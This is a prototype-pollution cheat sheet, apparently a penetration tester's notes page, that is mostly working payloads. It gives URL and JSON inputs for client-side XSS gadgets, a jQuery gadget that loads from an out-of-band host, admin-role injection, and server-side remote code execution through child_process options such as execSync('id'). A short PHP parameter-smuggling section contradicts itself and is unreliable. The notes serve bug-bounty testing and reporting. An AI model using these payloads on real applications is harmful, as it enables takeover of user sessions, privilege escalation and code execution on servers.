caon.io

Prototype Pollution

Where to find?

  • Javascript driven frameworks (Express..)

Anything that merges attacker input into an object: Object.assign, _.merge, $.extend, JSON.parse into a config, query-string parsers, req.body spread into a model.

The three keys

__proto__
constructor.prototype
constructor[prototype]

Client side

Test in the URL: most client-side sinks read location.search or location.hash.

?__proto__[foo]=bar
?__proto__.foo=bar
?constructor.prototype.foo=bar
#__proto__[foo]=bar
?a[__proto__][foo]=bar

Then check in the console:

Object.prototype.foo        // "bar" → polluted

The pollution alone is not the bug. Find the gadget: a property the app reads and turns into HTML or code.

?__proto__[srcdoc]=<script>alert(1)</script>
?__proto__[innerHTML]=<img src=x onerror=alert(1)>
?__proto__[src]=data:,alert(1)
?__proto__[transport_url]=data:,alert(1)
?__proto__[sanitizer][]=x

jQuery $.get / $.ajax gadget:

?__proto__[url]=//oob.tld
?__proto__[context]=<img/src/onerror=alert(1)>

Gadget lists per library: https://github.com/BlackFan/client-side-prototype-pollution

Server side

Harder to see: the response usually looks unchanged. Send the pollution, then look for a behaviour change.

{"user":"x","__proto__":{"role":"admin"}}
{"user":"x","constructor":{"prototype":{"role":"admin"}}}

Detection tricks that produce a visible signal:

{"__proto__":{"status":510}}           next response returns 510
{"__proto__":{"json spaces":10}}       Express reformats JSON output
{"__proto__":{"parameterLimit":1}}     later form parsing breaks
{"__proto__":{"exposedHeaders":["x"]}}

Escalation to RCE goes through child_process options:

{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/environ"}}
{"__proto__":{"argv0":"node","execArgv":["--eval=require('child_process').execSync('id')"]}}

Burp: Server-Side Prototype Pollution Scanner (DOM Invader covers the client side).

PHP

PHP internally uses parse_str() to parse parameters so it sees the char “[” & “_” as the same. PHP by default will use the last param as valid. In cases PHP is running on backend but front end validates the param, we can smuggle fake params to php

example.com?account_id=gust&account[id=admin

# Backend would execute guest and frontend admin 

Reporting

Pollution with no gadget is usually closed as informational. Report the sink: “this becomes XSS on /page via srcdoc”, or “this sets role on the session object”.

Talks

https://www.youtube.com/watch?v=LUsiFV3dsK8

Articles

↑↓ navigate↵ openesc close